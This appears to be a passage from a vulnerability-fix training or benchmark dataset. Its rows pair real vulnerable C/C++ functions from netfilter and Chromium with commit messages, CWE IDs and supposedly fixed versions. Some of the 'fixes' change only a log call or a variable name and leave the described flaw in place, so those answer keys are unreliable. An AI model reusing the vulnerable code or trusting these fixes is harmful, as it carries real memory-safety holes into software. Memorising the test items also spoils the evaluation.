if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,image->rows-y-1,
image->rows);
if (status == MagickFalse)
break;
}
}
(void) SyncImage(image);
break;
}
case 4:
{
/*
Convert PseudoColor scanline.
*/
for (y=(ssize_t) image->rows-1; y >= 0; y--)
{
p=pixels+(image->rows-y-1)*bytes_per_line;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
indexes=GetAuthenticIndexQueue(image);
for (x=0; x < ((ssize_t) image->columns-1); x+=2)
{
index=ConstrainColormapIndex(image,(*p >> 4) & 0xf);
SetPixelIndex(indexes+x,index);
index=ConstrainColormapIndex(image,*p & 0xf);
SetPixelIndex(indexes+x+1,index);
p++;
}
if ((image->columns % 2) != 0)
{
index=ConstrainColormapIndex(image,(*p >> 4) & 0xf);
SetPixelIndex(indexes+x,index);
p++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,image->rows-y-1,
image->rows);
if (status == MagickFalse)
break;
}
}
(void) SyncImage(image);
break;
}
case 8:
{
/*
Convert PseudoColor scanline.
*/
if ((dib_info.compression == BI_RLE8) ||
(dib_info.compression == BI_RLE4))
bytes_per_line=image->columns;
for (y=(ssize_t) image->rows-1; y >= 0; y--)
{
p=pixels+(image->rows-y-1)*bytes_per_line;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
indexes=GetAuthenticIndexQueue(image);
for (x=0; x < (ssize_t) image->columns; x++)
{
index=ConstrainColormapIndex(image,*p);
SetPixelIndex(indexes+x,index);
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,image->rows-y-1,
image->rows);
if (status == MagickFalse)
break;
}
}
(void) SyncImage(image);
break;
}
case 16:
{
unsigned short
word;
/*
Convert PseudoColor scanline.
*/
image->storage_class=DirectClass;
if (dib_info.compression == BI_RLE8)
bytes_per_line=2*image->columns;
for (y=(ssize_t) image->rows-1; y >= 0; y--)
{
p=pixels+(image->rows-y-1)*bytes_per_line;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
word=(*p++);
word|=(*p++ << 8);
if (dib_info.red_mask == 0)
{
SetPixelRed(q,ScaleCharToQuantum(ScaleColor5to8(
(unsigned char) ((word >> 10) & 0x1f))));
SetPixelGreen(q,ScaleCharToQuantum(ScaleColor5to8(
(unsigned char) ((word >> 5) & 0x1f))));
SetPixelBlue(q,ScaleCharToQuantum(ScaleColor5to8(
(unsigned char) (word & 0x1f))));
}
else
{
SetPixelRed(q,ScaleCharToQuantum(ScaleColor5to8(
(unsigned char) ((word >> 11) & 0x1f))));
SetPixelGreen(q,ScaleCharToQuantum(ScaleColor6to8(
(unsigned char) ((word >> 5) & 0x3f))));
SetPixelBlue(q,ScaleCharToQuantum(ScaleColor5to8(
(unsigned char) (word & 0x1f))));
}
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,image->rows-y-1,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
case 24:
case 32:
{
/*
Convert DirectColor scanline.
*/
for (y=(ssize_t) image->rows-1; y >= 0; y--)
{
p=pixels+(image->rows-y-1)*bytes_per_line;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelBlue(q,ScaleCharToQuantum(*p++));
SetPixelGreen(q,ScaleCharToQuantum(*p++));
SetPixelRed(q,ScaleCharToQuantum(*p++));
if (image->matte != MagickFalse)
SetPixelOpacity(q,ScaleCharToQuantum(*p++));
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,image->rows-y-1,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
default:
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
}
pixel_info=RelinquishVirtualMemory(pixel_info);
if (EOFBlob(image) != MagickFalse)
ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile",
image->filename);
if (dib_info.height < 0)
{
Image
*flipped_image;
/*
Correct image orientation.
*/
flipped_image=FlipImage(image,exception);
if (flipped_image != (Image *) NULL)
{
DuplicateBlob(flipped_image,image);
image=DestroyImage(image);
image=flipped_image;
}
}
(void) CloseBlob(image);
return(GetFirstImageInList(image));
}
| 168,557 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: check_entry_size_and_hooks(struct ip6t_entry *e,
struct xt_table_info *newinfo,
const unsigned char *base,
const unsigned char *limit,
const unsigned int *hook_entries,
const unsigned int *underflows,
unsigned int valid_hooks)
{
unsigned int h;
int err;
if ((unsigned long)e % __alignof__(struct ip6t_entry) != 0 ||
(unsigned char *)e + sizeof(struct ip6t_entry) >= limit ||
(unsigned char *)e + e->next_offset > limit) {
duprintf("Bad offset %p\n", e);
return -EINVAL;
}
if (e->next_offset
< sizeof(struct ip6t_entry) + sizeof(struct xt_entry_target)) {
duprintf("checking: element %p size %u\n",
e, e->next_offset);
return -EINVAL;
}
err = check_entry(e);
if (err)
return err;
/* Check hooks & underflows */
for (h = 0; h < NF_INET_NUMHOOKS; h++) {
if (!(valid_hooks & (1 << h)))
continue;
if ((unsigned char *)e - base == hook_entries[h])
newinfo->hook_entry[h] = hook_entries[h];
if ((unsigned char *)e - base == underflows[h]) {
if (!check_underflow(e)) {
pr_err("Underflows must be unconditional and "
"use the STANDARD target with "
"ACCEPT/DROP\n");
return -EINVAL;
}
newinfo->underflow[h] = underflows[h];
}
}
/* Clear counters and comefrom */
e->counters = ((struct xt_counters) { 0, 0 });
e->comefrom = 0;
return 0;
}
Commit Message: netfilter: x_tables: fix unconditional helper
Ben Hawkes says:
In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it
is possible for a user-supplied ipt_entry structure to have a large
next_offset field. This field is not bounds checked prior to writing a
counter value at the supplied offset.
Problem is that mark_source_chains should not have been called --
the rule doesn't have a next entry, so its supposed to return
an absolute verdict of either ACCEPT or DROP.
However, the function conditional() doesn't work as the name implies.
It only checks that the rule is using wildcard address matching.
However, an unconditional rule must also not be using any matches
(no -m args).
The underflow validator only checked the addresses, therefore
passing the 'unconditional absolute verdict' test, while
mark_source_chains also tested for presence of matches, and thus
proceeeded to the next (not-existent) rule.
Unify this so that all the callers have same idea of 'unconditional rule'.
Reported-by: Ben Hawkes <[email protected]>
Signed-off-by: Florian Westphal <[email protected]>
Signed-off-by: Pablo Neira Ayuso <[email protected]>
CWE ID: CWE-119 | check_entry_size_and_hooks(struct ip6t_entry *e,
struct xt_table_info *newinfo,
const unsigned char *base,
const unsigned char *limit,
const unsigned int *hook_entries,
const unsigned int *underflows,
unsigned int valid_hooks)
{
unsigned int h;
int err;
if ((unsigned long)e % __alignof__(struct ip6t_entry) != 0 ||
(unsigned char *)e + sizeof(struct ip6t_entry) >= limit ||
(unsigned char *)e + e->next_offset > limit) {
duprintf("Bad offset %p\n", e);
return -EINVAL;
}
if (e->next_offset
< sizeof(struct ip6t_entry) + sizeof(struct xt_entry_target)) {
duprintf("checking: element %p size %u\n",
e, e->next_offset);
return -EINVAL;
}
err = check_entry(e);
if (err)
return err;
/* Check hooks & underflows */
for (h = 0; h < NF_INET_NUMHOOKS; h++) {
if (!(valid_hooks & (1 << h)))
continue;
if ((unsigned char *)e - base == hook_entries[h])
newinfo->hook_entry[h] = hook_entries[h];
if ((unsigned char *)e - base == underflows[h]) {
if (!check_underflow(e)) {
pr_debug("Underflows must be unconditional and "
"use the STANDARD target with "
"ACCEPT/DROP\n");
return -EINVAL;
}
newinfo->underflow[h] = underflows[h];
}
}
/* Clear counters and comefrom */
e->counters = ((struct xt_counters) { 0, 0 });
e->comefrom = 0;
return 0;
}
| 167,372 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: bool DrawingBuffer::FinishPrepareTextureMailboxGpu(
viz::TextureMailbox* out_mailbox,
std::unique_ptr<cc::SingleReleaseCallback>* out_release_callback) {
DCHECK(state_restorer_);
if (web_gl_version_ > kWebGL1) {
state_restorer_->SetPixelUnpackBufferBindingDirty();
gl_->BindBuffer(GL_PIXEL_UNPACK_BUFFER, 0);
}
RefPtr<ColorBuffer> color_buffer_for_mailbox;
if (preserve_drawing_buffer_ == kDiscard) {
color_buffer_for_mailbox = back_color_buffer_;
back_color_buffer_ = CreateOrRecycleColorBuffer();
AttachColorBufferToReadFramebuffer();
if (discard_framebuffer_supported_) {
const GLenum kAttachments[3] = {GL_COLOR_ATTACHMENT0, GL_DEPTH_ATTACHMENT,
GL_STENCIL_ATTACHMENT};
state_restorer_->SetFramebufferBindingDirty();
gl_->BindFramebuffer(GL_FRAMEBUFFER, fbo_);
gl_->DiscardFramebufferEXT(GL_FRAMEBUFFER, 3, kAttachments);
}
} else {
color_buffer_for_mailbox = CreateOrRecycleColorBuffer();
gl_->CopySubTextureCHROMIUM(back_color_buffer_->texture_id, 0,
color_buffer_for_mailbox->parameters.target,
color_buffer_for_mailbox->texture_id, 0, 0, 0,
0, 0, size_.Width(), size_.Height(), GL_FALSE,
GL_FALSE, GL_FALSE);
}
{
gl_->ProduceTextureDirectCHROMIUM(
color_buffer_for_mailbox->texture_id,
color_buffer_for_mailbox->parameters.target,
color_buffer_for_mailbox->mailbox.name);
const GLuint64 fence_sync = gl_->InsertFenceSyncCHROMIUM();
#if defined(OS_MACOSX)
gl_->DescheduleUntilFinishedCHROMIUM();
#endif
gl_->Flush();
gl_->GenSyncTokenCHROMIUM(
fence_sync, color_buffer_for_mailbox->produce_sync_token.GetData());
}
{
bool is_overlay_candidate = color_buffer_for_mailbox->image_id != 0;
bool secure_output_only = false;
*out_mailbox = viz::TextureMailbox(
color_buffer_for_mailbox->mailbox,
color_buffer_for_mailbox->produce_sync_token,
color_buffer_for_mailbox->parameters.target, gfx::Size(size_),
is_overlay_candidate, secure_output_only);
out_mailbox->set_color_space(color_space_);
auto func =
WTF::Bind(&DrawingBuffer::MailboxReleasedGpu,
RefPtr<DrawingBuffer>(this), color_buffer_for_mailbox);
*out_release_callback = cc::SingleReleaseCallback::Create(
ConvertToBaseCallback(std::move(func)));
}
front_color_buffer_ = color_buffer_for_mailbox;
contents_changed_ = false;
SetBufferClearNeeded(true);
return true;
}
Commit Message: Reset ES3 pixel pack parameters and PIXEL_PACK_BUFFER binding in DrawingBuffer before ReadPixels() and recover them later.
BUG=740603
TEST=new conformance test
[email protected],[email protected]
Change-Id: I3ea54c6cc34f34e249f7c8b9f792d93c5e1958f4
Reviewed-on: https://chromium-review.googlesource.com/570840
Reviewed-by: Antoine Labour <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
Commit-Queue: Zhenyao Mo <[email protected]>
Cr-Commit-Position: refs/heads/master@{#486518}
CWE ID: CWE-119 | bool DrawingBuffer::FinishPrepareTextureMailboxGpu(
viz::TextureMailbox* out_mailbox,
std::unique_ptr<cc::SingleReleaseCallback>* out_release_callback) {
DCHECK(state_restorer_);
if (webgl_version_ > kWebGL1) {
state_restorer_->SetPixelUnpackBufferBindingDirty();
gl_->BindBuffer(GL_PIXEL_UNPACK_BUFFER, 0);
}
RefPtr<ColorBuffer> color_buffer_for_mailbox;
if (preserve_drawing_buffer_ == kDiscard) {
color_buffer_for_mailbox = back_color_buffer_;
back_color_buffer_ = CreateOrRecycleColorBuffer();
AttachColorBufferToReadFramebuffer();
if (discard_framebuffer_supported_) {
const GLenum kAttachments[3] = {GL_COLOR_ATTACHMENT0, GL_DEPTH_ATTACHMENT,
GL_STENCIL_ATTACHMENT};
state_restorer_->SetFramebufferBindingDirty();
gl_->BindFramebuffer(GL_FRAMEBUFFER, fbo_);
gl_->DiscardFramebufferEXT(GL_FRAMEBUFFER, 3, kAttachments);
}
} else {
color_buffer_for_mailbox = CreateOrRecycleColorBuffer();
gl_->CopySubTextureCHROMIUM(back_color_buffer_->texture_id, 0,
color_buffer_for_mailbox->parameters.target,
color_buffer_for_mailbox->texture_id, 0, 0, 0,
0, 0, size_.Width(), size_.Height(), GL_FALSE,
GL_FALSE, GL_FALSE);
}
{
gl_->ProduceTextureDirectCHROMIUM(
color_buffer_for_mailbox->texture_id,
color_buffer_for_mailbox->parameters.target,
color_buffer_for_mailbox->mailbox.name);
const GLuint64 fence_sync = gl_->InsertFenceSyncCHROMIUM();
#if defined(OS_MACOSX)
gl_->DescheduleUntilFinishedCHROMIUM();
#endif
gl_->Flush();
gl_->GenSyncTokenCHROMIUM(
fence_sync, color_buffer_for_mailbox->produce_sync_token.GetData());
}
{
bool is_overlay_candidate = color_buffer_for_mailbox->image_id != 0;
bool secure_output_only = false;
*out_mailbox = viz::TextureMailbox(
color_buffer_for_mailbox->mailbox,
color_buffer_for_mailbox->produce_sync_token,
color_buffer_for_mailbox->parameters.target, gfx::Size(size_),
is_overlay_candidate, secure_output_only);
out_mailbox->set_color_space(color_space_);
auto func =
WTF::Bind(&DrawingBuffer::MailboxReleasedGpu,
RefPtr<DrawingBuffer>(this), color_buffer_for_mailbox);
*out_release_callback = cc::SingleReleaseCallback::Create(
ConvertToBaseCallback(std::move(func)));
}
front_color_buffer_ = color_buffer_for_mailbox;
contents_changed_ = false;
SetBufferClearNeeded(true);
return true;
}
| 172,292 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: base::string16 TranslateInfoBarDelegate::GetLanguageDisplayableName(
const std::string& language_code) {
return l10n_util::GetDisplayNameForLocale(
language_code, g_browser_process->GetApplicationLocale(), true);
}
Commit Message: Remove dependency of TranslateInfobarDelegate on profile
This CL uses TranslateTabHelper instead of Profile and also cleans up
some unused code and irrelevant dependencies.
BUG=371845
Review URL: https://codereview.chromium.org/286973003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@270758 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-362 | base::string16 TranslateInfoBarDelegate::GetLanguageDisplayableName(
| 171,173 |
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